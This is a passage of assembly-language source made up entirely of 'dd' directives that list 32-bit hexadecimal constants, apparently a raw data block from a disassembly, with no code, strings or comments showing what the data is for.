6AC280C1h, 272121Ch, 15078A00h dd 0E2547B42h, 6E7C3A1Eh, 23683280h, 70354B78h, 6CDC9003h dd 0DDD4043Bh, 8BC18C00h, 0C7A63ACDh, 0C024A011h, 0F849EB72h dd 8067473Fh, 34810593h, 180FBB45h, 0F194C6CFh, 50001D6Ch dd 69DDE3CDh, 3AAEDA90h, 0E70026FEh, 41F7650Fh, 0A700BC7Bh dd 7DC32D01h, 0CED4A45Bh, 6540DCC6h, 28B2711Ah, 6FAB1B00h dd 4057C6DDh, 839827h, 0B683592Ch, 557B7824h, 8BB03FFAh dd 52695CC0h, 0A6670h, 0AB82BC58h, 9FD7F00Ch, 19222100h dd 81F7E096h, 41930097h, 0E68085Dh, 6200703Eh, 756653BDh dd 0EC4476A4h, 83BC00DEh, 682088C0h, 0D800EB80h, 0F6FD87B8h dd 522762h, 0E962CB9h, 3BFBB054h, 0D7248600h, 0E89225AEh dd 0ACBD006Fh, 0D8EC835Ah, 22004808h, 0DEE967CAh, 95CCD3h dd 84251CA3h, 0EC42449Ch, 5CF25DFCh, 72DFBB0Fh, 4F817D31h dd 0C1DB4706h, 0C064F09Dh, 1D226FC4h, 35FE4D5Ah, 20008B74h dd 32CCEF6Ah, 7DEE03h, 1DBDB8D9h, 4F9144FDh, 31B64700h dd 52334C1Fh, 1BF20020h, 0C47ED714h, 0B348C534h, 590E0FA0h dd 2EDB40DAh, 0EC66494h, 0CB58AB52h, 6309A922h, 4EF0F0A0h dd 3C0084CAh, 0D9BC3AF7h, 11033BDh, 91DE926h, 84BBE20Eh dd 0C3F4A9B0h, 909ED204h, 62AE18E0h, 69003EE2h, 8045FCC0h dd 96A39Bh, 0A57ADDEAh, 22E744AEh, 0A4E62E3Bh, 401717DEh dd 69FCC803h, 24D5D8A0h, 0ED8909D0h, 14838AA5h, 0B1B956ABh dd 2232C872h, 0D2940754h, 1088A4Dh, 51FADABCh, 8440B0E7h dd 85F12Eh, 41364A4Eh, 666F6C98h, 0C076701Dh, 0D91D8880h dd 2B3E09h, 399FF5B5h, 194A5FD6h, 8310EA00h, 3DAA5590h dd 2A7D1809h, 1BD1F0BAh, 8C667F00h, 0CB3CD92Fh, 720A0074h dd 1C612B17h, 7A00B74Dh, 221D6769h, 3EE853h, 9C31C9D5h dd 570D7BF1h, 0E38B3600h, 5A4C4AD6h, 4FD11F38h, 221481D8h dd 12DDC61h, 9FD3BF58h, 2288Ch, 591F1916h, 40A47EB7h, 9D713B00h dd 0C67F3699h, 4AA01F0h, 0F657E68Ah, 89C5E4B6h, 0D0568407h dd 32B0CB53h, 26EBC402h, 4686D4Fh, 0C1774505h, 0C4F006ACh dd 0A33F551Bh, 0FB5D8071h, 847BF3B2h, 0B3B404F1h, 0C076F4EAh dd 1A6E4714h, 149D3400h, 0DB72B77Eh, 0B1B9846h, 92E27C67h dd 5578F080h, 410284AEh, 13755CEEh, 955D4007h, 8AC70065h dd 0C1A6B65Bh, 0A800D51Ch, 9F0D2D2Eh, 0D08F0Fh, 91A46612h dd 605F7069h, 82131E00h, 47144962h, 8BEF3EACh, 752E7ABAh dd 579C81B9h, 402C65FFh, 1CB08F9Ch, 5DBD7707h, 0D602725h dd 0ECD673h, 0B349FF9Fh, 68EF5459h, 390147F4h, 0B6AB3B2Fh dd 7FDC7276h, 0D484014Fh, 0BD12162h, 9CA0D7A1h, 650B3309h dd 73529A9h, 0B6508A67h, 9521F8Dh, 3A8348DEh, 0C65CB4A0h dd 0AA24A5B7h, 869D8803h, 1C9C96C0h, 0E1D365Dh, 9FDA572Eh dd 4BAFA783h, 72F071EBh, 0E3399E77h, 44000FBh, 4C64EFADh dd 1A030027h, 1E80D7C0h, 0F900BA99h, 0DDEC954h, 3CC41653h dd 3F80100Fh, 0F1DAF05Dh, 780F9CA9h, 805EC3B1h, 2390EB56h dd 37CA3CA7h, 0D3CBE400h, 4A607DECh, 45032DEAh, 0D801C769h dd 7FFB90C9h, 967C00FEh, 0DD8C30DCh, 1407F3D5h, 6FF40C84h dd 90958A79h, 0B907B440h, 0D9C700EFh, 0CD43A1BFh, 0D8B2DF4Dh dd 63F3C00h, 0D01B3DF3h, 0D67A00D3h, 21FD4E9Ah, 0E53D859Fh dd 32C4841h, 0FF285D20h, 80B5FA52h, 0FB933688h, 49C2009Bh dd 0B660764Ch, 6F7AE126h, 8201A67Dh, 0BEC3B87Fh, 9F0DD2Bh dd 329E3EB9h, 0C584F109h, 1092EF80h, 7492DCCCh, 80F9C621h dd 515F2EF8h, 8B7122F6h, 8D383100h, 80323CC1h, 0ACB009h dd 5335EF16h, 129B77EDh, 0E3F6F303h, 0C8F9263Eh, 0B12F9Ch dd 0E8CF7BACh, 0A7DEF7AFh, 4964C800h, 70F97539h, 60EB0020h dd 0D9A66C22h, 863D9307h, 1CE9A68Eh, 0C76E1200h, 0E7631AEh dd 754738DEh, 119D2341h, 3050ED48h, 72002FECh, 91BB306Bh dd 0B77AEBh, 3BC270DDh, 1D42035Bh, 0FB66E80Fh, 0BC1BA40Ch dd 7F8F54C0h, 399B07C8h, 40EBB371h, 9E138C21h, 0CF00227Ah dd 93FB8052h, 8AC03h, 0DD7AD6Ch, 5C679E55h, 35CCBA13h dd 0A1886C40h, 5883AA6Fh, 0F029C4Ah, 0AD33C8DBh, 77CB3CC0h dd 3F7424F7h, 0C9F73400h, 0C5EA3A99h, 0A2D6005Dh, 0BB31288h dd 0E6004076h, 6787E4F6h, 90C8BB1Ah, 0B60CA027h, 959E00A3h dd 0EA99826Bh, 873A253Ah, 0E80480F8h, 41EFB721h, 0B1B20055h dd 34A57189h, 5012B819h, 1000BD45h, 62972D0Ch, 0A47E4CFAh dd 23DC1708h, 900BA109h, 984EFED0h, 0A10CE895h, 0D2C0B9F0h dd 0AF560108h, 6AB1F77h, 0C491FCE8h, 0DE745Ch, 0B2D56353h dd 285A1A2Bh, 794BF88h, 0CAC26F8Ah, 0EA6892BEh, 91C0B2E0h dd 87032EE2h, 9BD13D43h, 486A072h, 0C69C00D7h, 0E0A3424Ch dd 0BE031D7Eh, 0CDE8A85h, 825BB04Dh, 569900E4h, 964ABFC5h dd 860065D6h, 0F38C7EC6h, 60AD4CC9h, 0C1BFD18Eh, 34000385h dd 7DB3DC6Ch, 0EC66E31Dh, 5B2F3BB9h, 0FBC46800h, 0E7F82675h dd 9B2CA000h, 0E9A257F5h, 0D5EE6Bh, 1783343h, 8074115Bh dd 170CB4Ch, 3A9CB975h, 0E7D4D202h, 0C00D0B07h, 70380BA0h dd 0D1024494h, 18AB33B4h, 56E04075h, 29F10004h, 0E602B558h dd 0C00659Ah, 0BF9D4E5Bh, 5E9C9FCh, 351C7361h, 5098C7A9h dd 90FAABF3h, 1FA82900h, 0D4B962A6h, 0BB491D0Bh, 0A3178057h dd 0A75873ABh, 0C6F27F00h, 220150D8h, 308E008Ah, 36D97C3h dd 0A20FCFFBh, 0C76145h, 0E7BA8B6Bh, 1DF015Fh, 0CD03972Fh dd 96842015h, 70819B07h, 0FB907EA3h, 906F185Bh, 37690090h dd 0C6AF0C24h, 3A008587h, 0D0A44C61h, 180C8h, 0CD909D21h dd 0B3C349F6h, 2DE5F4E7h, 74B74Ch, 3A5A1CACh, 58D539B8h dd 0B2C60C5h, 0E6BF02B8h, 1CC1AAC1h, 57D1DC6Fh, 9EFDB700h dd 86F787B1h, 433B00C9h, 9A7B0C73h, 621C553Ah, 0AA80C2B2h dd 0F3944B49h, 0F5D7B8Bh, 1D0E8F87h, 3C13D800h, 0B49A5BCAh dd 0C13B9F0Eh, 0A8C2A0B1h, 26BEBCD7h, 287CDF9Ch, 1310C4C1h dd 0BBD04075h, 7E55A0h, 0C5FC6AE5h, 0BAD67BEAh, 0AB247000h dd 7633BC27h, 0D09637h, 9DFAA647h, 0A20C9BADh, 18F39C0Bh dd 0C2EB05B2h, 0C01FF014h, 5BEEC1A6h, 5D0A200Ch, 287898A2h dd 61242837h, 20F730B0h, 0A4F9D0CCh, 8250C9h, 0AD97ACEAh dd 3EEE002Bh, 0C0B02923h, 16010A5Fh, 848F2EB6h, 8DC4E801h dd 474B3B95h, 71C30885h, 3A4B8382h, 0D4F51EF8h, 0CEE39B07h dd 0C5D6C483h, 49480679h, 11240527h, 0BF042353h, 34E93FC3h dd 3C0B1000h, 6B1DC71Fh, 988707C0h, 0D3534089h, 0FEF0323Bh dd 50CD506h, 29241D0Bh, 0B7BB445Ch, 948353F6h, 0E4C0FF23h dd 78226B1Bh, 7E1E2288h, 0A119F642h, 47F45126h, 11149A3Ch dd 1D344C6Ah, 0BF8BF4h, 95A73B7Dh, 246E0Bh, 0C8633897h dd 16272CE1h dd 7FDE38h, 3E221826h, 0F8722A80h, 0EB1C0047h, 73C9199Ah dd 1A01DA39h, 6D330C5Dh, 0C28B4F1h, 668BC004h, 91B0B0EEh dd 0CD2A6E00h, 69E3832Bh, 28970092h, 7DD53379h, 1037E75h dd 0D1EE3A37h, 93DFB066h, 0EA4D25E5h, 3F212880h, 0CA0F67C2h dd 0AF7F84C8h, 0D795E0AAh, 76B90A09h, 30C4A81Bh, 49C10007h dd 0E7682038h, 0B65CBE82h, 2B0900B0h, 746FF13h, 4B9300BFh dd 149CF46Eh, 0F200D4D8h, 114AB518h, 1D77107Dh, 0C0DECE8Ah dd 4C485AA2h, 0C1E5952Ch, 67119FCCh, 7FA06600h, 24E336DBh dd 8B087CBBh, 0C0380AA6h, 85055479h, 14467B7Fh, 4B722090h dd 37C8248Ch, 906901FDh, 507E9678h, 7C1F4198h, 1A3BD816h dd 0A842DC07h, 5640BE7Eh, 7992CEACh, 0CF7D00B1h, 0F1614C90h dd 0BD1F53FBh, 0E780A8B2h, 0D4E685F9h, 6580FC3h, 64673BFFh dd 244F41D3h, 0C136CC56h, 7546F700h, 8367E823h, 2A7E38FCh dd 92280480h, 0E5EC24DAh, 41DD1D07h, 9D41F503h, 9EB99E26h dd 5A2B8D80h, 31FF59E7h, 74E5F000h, 0CA2DA9CBh, 500D1CE8h dd 0BDE300B6h, 62E46BD2h, 7FD8EE02h, 0E0E54923h, 3AC71DE0h dd 88005A4Dh, 0C49F6F78h, 912C1CFCh, 0E800D093h, 0C0FEF2ECh dd 0B2AF0099h, 0E773DB20h, 0CC001E86h, 0B5637609h, 34DE7Eh dd 0EADC2D1Ah, 0C027F3D2h, 1CAD038h, 0EF447565h, 0E0CA3154h dd 3AA86E0h, 12BFFA51h, 85F2900Dh, 0BD253070h, 0B0C40030h dd 0C44A20h, 57CA75FFh, 0FDEEE054h, 46776602h, 5002932Eh dd 884700B0h, 0E58F43CFh, 0C44E4498h, 86EB2C70h, 954A16h dd 0BBFEC818h, 7373E6FDh, 4B7B3FF0h, 56053EB0h, 0EBCF8E58h dd 0CD358F00h, 0A16E01h, 2592FB86h, 0E74DD4C9h, 0DF935Ch dd 0DF4F4933h, 7CEB76D8h, 0D64248B6h, 48A81D00h, 117843FFh dd 3AD87B00h, 0FD1A66Fh, 6E900BAh, 0E051460Eh, 0F401F586h dd 0A822C1DEh, 0DF48012h, 77850F02h, 3F609430h, 0DDAEDE50h dd 201D0496h, 66F68800h, 0EA16BDFAh, 0D3DCA01Ch, 0F78F006Bh dd 87609390h, 4100047Dh, 15BEA33Eh, 25663Ah, 0EAF7D05Ch dd 9701585Ah, 2249B01Ch, 0F924006Fh, 2A79646h, 0DEEBA59Ah dd 0DC8077FDh, 53DD37BBh, 18FA88h, 3B176685h, 4296D365h dd 6EEA8100h, 7DBBFD97h, 88C6396Fh, 0C58A021Eh, 0C0B52B8Eh dd 29109E8Eh, 6A3F3700h, 4588125h, 0A3E3A0E3h, 735D0150h dd 2088DEC0h, 0A440F054h, 4091205h, 0E0C0451Fh, 5BFCE6h dd 8C92E75Fh, 98950AF4h, 0F6F93400h, 0C0606B7Eh, 54C90245h dd 4E3A7B43h, 67B968E8h, 80104A51h, 0B4EB38D4h, 0AB4282h dd 902A176Ah, 7E73F9A2h, 4EDEC204h, 0D2830C14h, 286FA8E5h dd 30DC007Ah, 1AD57FE1h, 0C300727Eh, 8E525813h, 76712DDh dd 6EDC78AAh, 0FB172006h, 6A001339h, 662AC8ECh, 0F20B92h dd 0BE1C0A52h, 0A8DD0DBBh, 8B945601h, 3ED06E7Bh, 79F76F8h dd 8EE671C2h, 0C5CCF218h, 0B5430FC0h, 2F49BD1Ch, 9FB1D947h dd 0E9EC19C0h, 525008Bh, 0FB668CD2h, 85002DE8h, 0B05B6876h dd 60F6BFh, 3007A218h, 4A56DFE6h, 2AC4F800h, 2E97700Dh dd 233103FEh, 1C30E769h, 4261F7E0h, 0BC0E4F00h, 16D96F34h dd 78650007h, 0D226B49Bh, 0FC00627Eh, 0EDA46E97h, 0B6E9BEh dd 5F644D1h, 0C389033h, 3D3B0D01h, 5E04A461h, 15CBC4h dd 0C11F1CDDh, 0A1934495h, 8A55EB01h, 767BFF7Ah, 1F1004E0h dd 9DF845D4h, 0BFB38042h, 0A20F9D53h, 21A03018h, 517152h dd 9EF87601h, 0DA9BCBB8h, 0C6EE58h, 22057068h, 15112D1h dd 87F99F13h, 0D4F3314Eh, 0BC00F757h, 6BF2FC82h, 0E6E09A1Ah dd 0EDA5003Ah, 0E50C416Ah, 532CC718h, 8900EF22h, 37DD2149h dd 90EF0052h, 7D60AB0h, 0C39AFCAh, 3438800Fh, 926F4E93h dd 599F1F4Dh, 635244B7h, 4B05C011h, 6A0E046Ch, 20E62B4Fh dd 0FF369684h, 98D70669h, 2064E538h, 94822A06h, 39311774h dd 440AE3E2h, 0CD0A24Bh, 0B8185952h, 5EFD9D16h, 201A5400h dd 28E412C0h, 0FCF8902Ch, 6F380080h, 3EE5D48Eh, 0FAFC375Ch dd 851B30Eh, 0C9F440FFh, 9F475Dh, 0DE6D8363h, 0D3F9BFF7h dd 0ECD49D01h, 95E2144Ch, 0ED8C1180h, 52ABEB24h, 94676600h dd 7E830A8h, 0DAF5001Fh, 8EA24257h, 0F009AE36h, 14868CEh dd 6E9079F8h, 1A0690BFh, 0A07042BEh, 0E049EF00h, 244AEDABh dd 7CAA00FEh, 0F2EB291Ah, 0CC38E948h, 25E0E078h, 0FB2B338h dd 0CA1B3CE1h, 79DB00F3h, 99DE8A83h, 4AAC9800h, 7FEAC707h dd 541E03A2h, 0BB75DCCCh, 94E9D5D8h, 0E2E64403h, 0A0CD0C19h dd 0A1B356h, 39101337h, 5DE01741h, 259BC41Eh, 0F00E4E80h dd 0EAC6AEh, 0AB6A068h, 0F5C967FDh, 0A13B1B71h, 0C53C0017h dd 0CBAB157Ch, 10D989Fh, 0E463D05Fh, 806DD796h, 39DBA2F0h dd 3A7F70CFh, 0CEA8FF4Ah, 0ECEA87h, 8366EA24h, 0F57D4771h dd 0C30D6C00h, 0A98EC860h, 0D7561F19h, 0C2F180E2h, 0B528FAD4h dd 8F759574h, 0C626E700h, 0B21BE909h, 892C0210h, 0D1B7E30Fh dd 4E9111C0h, 1CF0F300h, 5B85DECFh, 0BBB01Ah, 0A6A3E113h dd 0F150EA35h, 8480995Bh, 0DB47C11h, 90A85E2h, 0B7162010h dd 9BBD1800h, 4A806E1h, 0E3770Dh, 0A701454Eh, 6571868Dh dd 5C975300h, 0F1C69968h, 75690058h, 0BFB2483Ch, 8500C377h dd 0C770C9DEh, 91F3A0h, 0FACA6F6Eh, 1F5A803Fh, 401A0600h dd 0ACD5B168h, 62DF00BDh, 0A596ABE8h, 5A1E5CD1h, 790FC8h dd 0B24A9926h, 94B413h, 85174F20h, 8F34866Ch, 6BC7700h dd 8E843F0Ah, 1CBFC79h, 1FE9B344h, 0D0DA4AB9h, 640055C6h dd 0E10C927Eh, 0FA3B7191h, 19BC18F4h, 0A7740A1h, 686D8900h dd 2953B3B2h, 0BA7B0007h, 0D441DA6h, 0C7017799h, 6182028h dd 51D06782h, 63DD004Eh, 6C548DDAh, 0AA3B342Eh, 61627528h dd 8084F321h, 0DFA3D883h, 17ED30E0h, 42CE3B18h, 160E7F12h dd 37E98900h, 0E05DC5h, 0B9A8867Dh, 0A05E6BDBh, 0B8A066E6h dd 45012CE1h, 1D06D781h, 90BB973Ch, 3EAF7E86h, 670F802Fh dd 40BEC176h, 0DE11A3F3h, 8D230025h, 0C8EE2120h, 94017DB9h dd 6598E887h, 0C420FB7Ah, 0CAD71316h, 92BE0784h, 40E00E8Eh dd 744EC088h, 80FEA53Eh, 730EF7B7h, 0ADB0D8h, 0D90D6475h dd 2E6BE48Ch, 0D2993900h, 595A79B8h, 4A9000C9h, 4F34F1D0h dd 0D90673F4h, 7681DF2Eh, 463D22C8h, 3F0FA817h, 0C90CDE01h dd 2E20E389h, 303C0072h, 5B28C849h, 0AB0F906Bh, 9EC76601h dd 7E1B0DC0h, 3E8D1DFh, 0F137CB72h, 0FAE02043h, 0A1009904h dd 91E3857h, 0F09DBE6Fh, 0C0C7050Bh, 8007352Fh, 133D65EDh dd 5AE9250Bh, 85DD80A0h, 955572h, 0EBA31E1Ch, 0F9E6CD3h dd 881A7E00h, 0FF69CDD2h, 3940B8DFh, 0E79DA98Bh, 80B85E09h dd 0D9BEF0CCh, 63B0FFBAh, 7F56CA00h, 0ADFCCBD7h, 41FE21h dd 0AC770FD5h, 0C4FC6DAh, 3BCD6600h, 324731B3h, 0FAF268h dd 3C48E59Ch, 84B18D59h, 7AD6C0Eh, 0E0672EC9h, 0CCA1872h dd 0E5CD0239h, 8C3FB1Fh, 235C0EC0h, 0EDD3BD07h, 52203AFFh dd 1FC69450h, 0D822F5h, 4ED56D53h, 73E7A08h, 739D01A4h dd 0F19A6C82h, 74A3007Ah, 643DC776h, 0AB00A5FAh, 57B591EAh dd 25B0A6Ch, 0E3B9CA24h, 0DC40C04Dh, 0BD4C4E52h, 0BE1E00A8h dd 76615D8Fh, 49B00066h, 0A4CEDF2Ah, 0B4E62747h, 0BF430E03h dd 0B0E0DBA8h, 83E1D0h, 8AA56796h, 0BC668BD4h, 0FC00FD74h dd 0C2B106D8h, 0C09812h dd 9F49F44Ch, 0D61F34ADh, 29458C03h, 803B6080h, 905F37A7h dd 30ED0035h, 4C2E08C4h, 60EE9313h, 0ACA4EA00h, 4F314A4Eh dd 7B110002h, 0D438D6CAh, 0EE3E16CCh, 0D5040041h, 9B567C17h dd 3BA40080h, 733FDA7Ah, 2200B2D1h, 1F458976h, 0F87BDE39h dd 911C00A4h, 77A5EADAh, 490036BFh, 0F5F2353h, 504B43EEh dd 1F9790A8h, 3924F785h, 4713209Fh, 8098C4BDh, 34F0966h dd 0B67A55Ch, 806FC6AAh, 64DDDCE4h, 0FFD25CCDh, 0EE1F8B0Fh dd 61413EE0h, 70014520h, 2E2369ECh, 54C49D8Ch, 9E8B063Bh dd 11E96FC3h, 933A6738h, 704047C1h, 0C3B1DC60h, 0FBC200E2h dd 156FA636h, 0DB07B763h, 2092135Bh, 0EE804F45h, 90D4B02h dd 0F9AB051h, 4C6588A3h, 0DC620CC2h, 4FD83440h, 0AC054E00h dd 0F6B654A4h, 9E74006Ah, 0FEC4C69Ch, 18988A50h, 79526000h dd 9D01272Dh, 58AA00E0h, 69572E66h, 0E13FAF95h, 541DA64Eh dd 9765A830h, 0BEED0012h, 3C52380Eh, 4A163F7Ah, 64000A01h dd 4E5DC4EBh, 0BB451DBFh, 4640C7D7h, 92479048h, 43E00904h dd 1CD21200h, 96936F13h, 2F7F0035h, 0D9C97646h, 0F9793DECh dd 1A48DA01h, 587AD1FCh, 1D658430h, 1C7ED9C4h, 14A1FE9h dd 888E9789h, 0A0DBC074h, 7FD7CA00h, 90F03A2Dh, 0F581A0BFh dd 299603EBh, 35A20D46h, 0EECE84C8h, 58162F00h, 0DD54857Ch dd 23200076h, 9F4222Ah, 402C0FFh, 18CE8F83h, 384D409Bh dd 5C730C55h, 8729847Eh, 430E797Ch, 0A00DBCCEh, 0D5931B41h dd 2B94A092h, 0F144005Eh, 5F544F30h, 29003D81h, 3877CA50h dd 16A6BE2Ch, 9EB7CCh, 0E7A78841h, 0B8FE9327h, 3DD8B907h dd 9106F52h, 167EE4CDh, 0E92B18h, 1632ADB8h, 7CFAEA5Ah dd 0F122B504h, 480A0B6h, 125C86D2h, 5EB19Dh, 3A72A3ADh dd 940980D6h, 10048DE7h, 0B94334h, 0AB994A33h, 650FB742h dd 8086E43Eh, 7988689Eh, 911D50h, 0E1F4A7C7h, 42E5C67h dd 11494D00h, 0BF6FBE08h, 55D2000Dh, 423AAB24h, 2B0E44DCh dd 40C55CCAh, 0AEE2C1C9h, 6F5D00AAh, 37DD0727h, 0C4983EA5h dd 8D018175h, 0F1EE3B7Dh, 5A603FCEh, 8F64004Eh, 0BADB0C33h dd 0C800DEA7h, 0E8426981h, 0C15BAFh, 39094934h, 78B11148h dd 0CB5A4000h, 32F8F30Eh, 9BFE14h, 1707CFBDh, 0A729C158h dd 4E23EC00h, 5DB9F99Fh, 2EBE07C4h, 8080305Ch, 1EF8C50Ch dd 0C07A620Fh, 0F47400C2h, 78F7C01h, 2782328Bh, 0B257D055h dd 0B43CB946h, 430480D0h, 0EF29CF99h, 0EA030063h, 8F970172h dd 900A747h, 0F07ACE51h, 1BD2D0Ch, 4C7BC02Fh, 40D05DE6h dd 4F0D9890h, 4B558300h, 9B45D43Ch, 0B2E4012Eh, 0CE9E842Ch dd 9DF0EF58h, 54371599h, 57B1FA8Ch, 1DD4C592h, 2E980258h dd 3F5F63D3h, 0D0009954h, 64DEE15Eh, 23AC00D8h, 0AEC3B442h dd 0BA1458E2h, 0B50856h, 78708979h, 3D20ED77h, 400025C5h dd 13E6C87Dh, 14002B26h, 5961485Ah, 3FF836C3h, 0CE80998Eh dd 5346BD68h, 63006932h, 2E7F3AC5h, 4441FF2h, 0E12C4C99h dd 881FC06Fh, 81FA69F7h, 0B9E7BE00h, 0A496DBE2h, 0DFB0045h dd 0B1F8ECCBh, 6100BF19h, 1016906Ah, 0F23D1Eh, 8E30D05Ah dd 3504F77Bh, 5D497013h, 2439400h, 1A7A679h, 0E34813C8h dd 70D7129Ah, 0AC00DA31h, 76837563h, 0B8DED2B8h, 0FC2F1501h dd 0A13EB818h, 9F7AFB00h, 0F40C350Bh, 1A7C04EEh, 70294800h dd 36E27E12h, 0BA390054h, 55AC5BC1h, 0B3003FBDh, 6B874515h dd 0EF0DAEh, 3852E023h, 0B6EC5A8Dh, 0A97BF890h, 0CCB1D201h dd 9C2248A8h, 3198424h, 0B497C6B8h, 8B999EEFh, 0B188709h dd 84B3E6F7h, 0BF1120C7h, 0FB118F06h, 7D202EFEh, 4B0F14DBh dd 0B1B2839h, 40C718EFh, 0A2C7A6C6h, 0F18B7E04h, 91C6E5EBh dd 5A30F18h, 0E220D3A5h, 58B4B713h, 481C3DF6h, 21D49DBDh dd 78953028h, 1ECF19A9h, 9C5E1DC6h, 7F7500C1h, 1E146303h dd 8388123Bh, 1BAE2EC3h, 96A00018h, 43FC3DD0h, 0AF0012E7h dd 63C89205h, 17271BCh, 0B7279BA2h, 0E8918AAAh, 57004D70h dd 92CF5CADh, 664EF4h, 2884CB21h, 606CE4FEh, 0B4F11C00h dd 6114CCD8h, 80DA00A6h, 982B059Ch, 84031563h, 9D905341h dd 8834A0FBh, 946B0150h, 71B8D89Ch, 2BF452EFh, 330C04BFh dd 767D11C3h, 558C0027h, 66479A8Ah, 0C403FAAEh, 0E2C81793h dd 7798E073h, 1C823EDCh, 0C00F993Eh, 7E8076A0h, 0B3C71D1Ah dd 0E59F2CA0h, 51930F30h, 885F7F92h, 90768565h, 0D13D29C1h dd 4250D20h, 1D64FFF0h, 0C7F465B1h, 90F6ACAAh, 0FCBC748h dd 61191C33h, 6008C543h, 584B8359h, 19008AB4h, 402F6970h dd 14A816FEh, 70FF9565h, 1814AC4h, 4BC6DA51h, 18FB95D0h dd 0E8942149h, 9380834Ah, 465F00CAh, 0C2929C05h, 8F228561h dd 1CF90AC5h, 0C74C106Bh, 19939049h, 0EF8FEB1h, 95184718h dd 2259A9A8h, 9F04C8B4h, 0AB902FCFh, 86E25045h, 70303836h dd 0D98D59F8h, 0F84E5275h, 33BC0442h, 1097F230h, 0F5461FCh dd 64A5524Ch, 0B372DBE1h, 3F08F8AEh, 21604200h, 5B6D472Ch dd 5C810767h, 1F363A1Ch, 0BC25494Fh, 0B6DEC0EDh, 8900B326h dd 20CEA151h, 75942ECh, 0F14DE6B5h, 5D7410FDh, 1A00E106h dd 81630C9h, 3F7C5Fh, 0F453DA5Bh, 21EAE0B3h, 8E73040Fh dd 0C2500E9h, 187D9DEh, 0B5678286h, 0C0D8751Ch, 94F0048Ch dd 18DF6F00h, 0A8784014h, 287D3C17h, 5B843480h, 6ECD49B7h dd 0DAA5C000h, 7DB9F25Dh, 0CFBE038Dh, 3506C831h, 6F9885F3h dd 0BD00744Ah, 0DD566E8Ah, 7C2013Ch, 6B51B5F7h, 87967166h dd 99FA7071h, 0CB400B00h, 37CFEA92h, 440C0734h, 30BB9D6Bh dd 0B8EDE5BFh, 7406D10Fh, 7720F9A8h, 0B04464h, 36EAA1A9h dd 313DAAADh, 53331800h, 7FE78C70h, 0D0A054A4h, 0CC9CA047h dd 3EBE0ED0h, 9F23F1EBh, 0A0D02A6Fh, 8A155424h, 0E82CF4h dd 0DB23482Dh, 71E7671h, 0E16C4EFDh, 9368D0A0h, 5D00CAEEh dd 0A1396359h, 0DA2F19h, 69F35137h, 0B022899Eh, 56844E00h dd 0F6F50F26h, 1883005Eh, 9FCADE0Dh, 63E66FF7h, 35E13F00h dd 8E3BF586h, 0CF5300C5h, 85C4593Dh, 7B7EE638h, 753A4205h dd 40800AF8h, 0CFFC0Bh, 5340CC24h, 0FB21FD9Fh, 917CBC00h dd 8ADEF45Ah, 25B7005Fh, 7EE6A7EDh, 4900C92Eh, 0D7A6411Eh dd 10B0F9h, 0D33F4B52h, 321E973h, 1122A200h, 171C6C7h dd 87B838D9h, 0F480E5BCh, 287FE82Ah, 0A4A065BAh, 760096C3h dd 0B6977946h, 0BAC4F967h, 2DA0314h, 8D643AF5h, 611FE8C0h dd 68716C09h, 394A80D3h, 20609C2h, 48C95827h, 14A035A3h dd 722AB3D5h, 450F7E07h, 3A402CA7h, 0FA77FFEBh, 4E7612D9h dd 410F1F29h, 3D325DE0h, 41A6C59Ah, 17A3C2F4h, 0EF009CDAh dd 30BB20FBh, 0D6650022h, 79D4A6ABh, 0DF0001E7h, 67F1524Eh dd 136CD08h, 3A5BA22Dh, 20954C32h, 300C23Ah, 12B29059h dd 0E84C39Eh, 0F29AB073h, 37056D40h, 6800A371h, 885BD17h dd 12AF497Ah, 0EE8F5Fh, 0DFD782Ch, 6C00480Ah, 390C33ADh dd 0F4B0B10h, 7FE905E8h, 0F5C2093h, 0F500768Fh, 0DF711C96h dd 0E055F3h, 0D2937974h, 0FC57ABB2h, 0CA4B3F03h, 0CABC026Bh dd 0B3604840h, 8EEC2Ch, 4661A093h, 0F04E7DAFh, 4DCB48C0h dd 644CFFh, 0BFD7CCC1h, 225EC9F2h, 86E89A00h, 259DCA23h dd 0C52D0010h, 9377EB07h, 0F5E06090h, 0ED453000h, 0B5B4ADA3h dd 6E03018Dh, 6FBD6A1Bh dd 0CCF2C924h, 7500F440h, 3DE50D13h, 0FC306EDh, 0ACB9FC85h dd 923BFFBFh, 1BABB600h, 0B18C54CCh, 6AC9990Fh, 380A40AAh dd 11D84Eh, 8B12F2F3h, 20E8E0B7h, 391DC1Eh, 0EA42C9h, 30FB1CFCh dd 2177788h, 55E72195h, 72401937h, 26005F83h, 3846650Dh dd 423A66h, 0C4FB5A02h, 0B86FCAB2h, 24F43F00h, 5D7DEE8Bh dd 26571585h, 6700C075h, 4CD5BB8h, 0C290D1C7h, 8A88250Ah dd 0F501B4B4h, 0DA9405A7h, 0A0D7E4h, 6B0A870Fh, 0EB1A619Bh dd 700EF879h, 27ADF71Bh, 0C9F0055Bh, 75DFA82Ah, 0CCF91D42h dd 403281D6h, 400D6265h, 0E46A6DA0h, 85E1EC00h, 1921E282h dd 7842470h, 40F60590h, 7E69C09Fh, 0E09565Ah, 7D94DE72h dd 0D0E69484h, 7CA3A650h, 7AD6F00h, 0EDF05567h, 0FA13072Fh dd 0E0E7D21Eh, 8F4645BAh, 0D0904277h, 50D7D602h, 40AA2D94h dd 0FC01F2D6h, 572F007Bh, 0AD021F8Fh, 34EE827Fh, 8B698C00h dd 0EA753CFEh, 8E471C2Dh, 0EDA4012h, 20F4C881h, 0F25A3B00h dd 56B9ADCEh, 0D67B0039h, 58DF093Ah, 55007A98h, 0A3B57767h dd 4CF37316h, 0A800DC54h, 2DC2B1EDh, 0EA0921CFh, 2B1BA9h dd 0BBD26758h, 47980788h, 43EF68AAh, 0F10091B4h, 0FC9CC9DDh dd 0CBF2E6h, 358844DBh, 544C3E41h, 195EE51Eh, 21C91DC0h dd 1A02ED8h, 24013804h, 307C5B3Dh, 0F11285CFh, 800E627h dd 70BF484Ah, 0B24D1633h, 0F38C4757h, 7C8CD0DBh, 0C5004EA4h dd 316FBE3Eh, 0CF52EEh, 0D2FAB9C6h, 8FA6D68Bh, 7CE93300h dd 6CD00141h, 89C90069h, 63233EFFh, 3A4C6B34h, 70F90388h dd 0F8AD8780h, 1E8A0FE0h, 839F190Ch, 7ACD843Bh, 8FD920F7h dd 40E124Ah, 7666CAh, 0CC08D3C4h, 0E62B3F73h, 0B5AFDD00h dd 40884721h, 941EFC00h, 21C0781h, 780A248Dh, 7BE700C4h dd 0FBDFBB3Ch, 0B4F4411Dh, 0AEEBAD83h, 458288E0h, 0A0810723h dd 40AFCBEEh, 64FB6FF0h, 0D300E6EEh, 159E6E0Bh, 59C16h dd 9A9079D5h, 64D4DD8Dh, 0CDFB6216h, 6ADFE200h, 2A25FCh 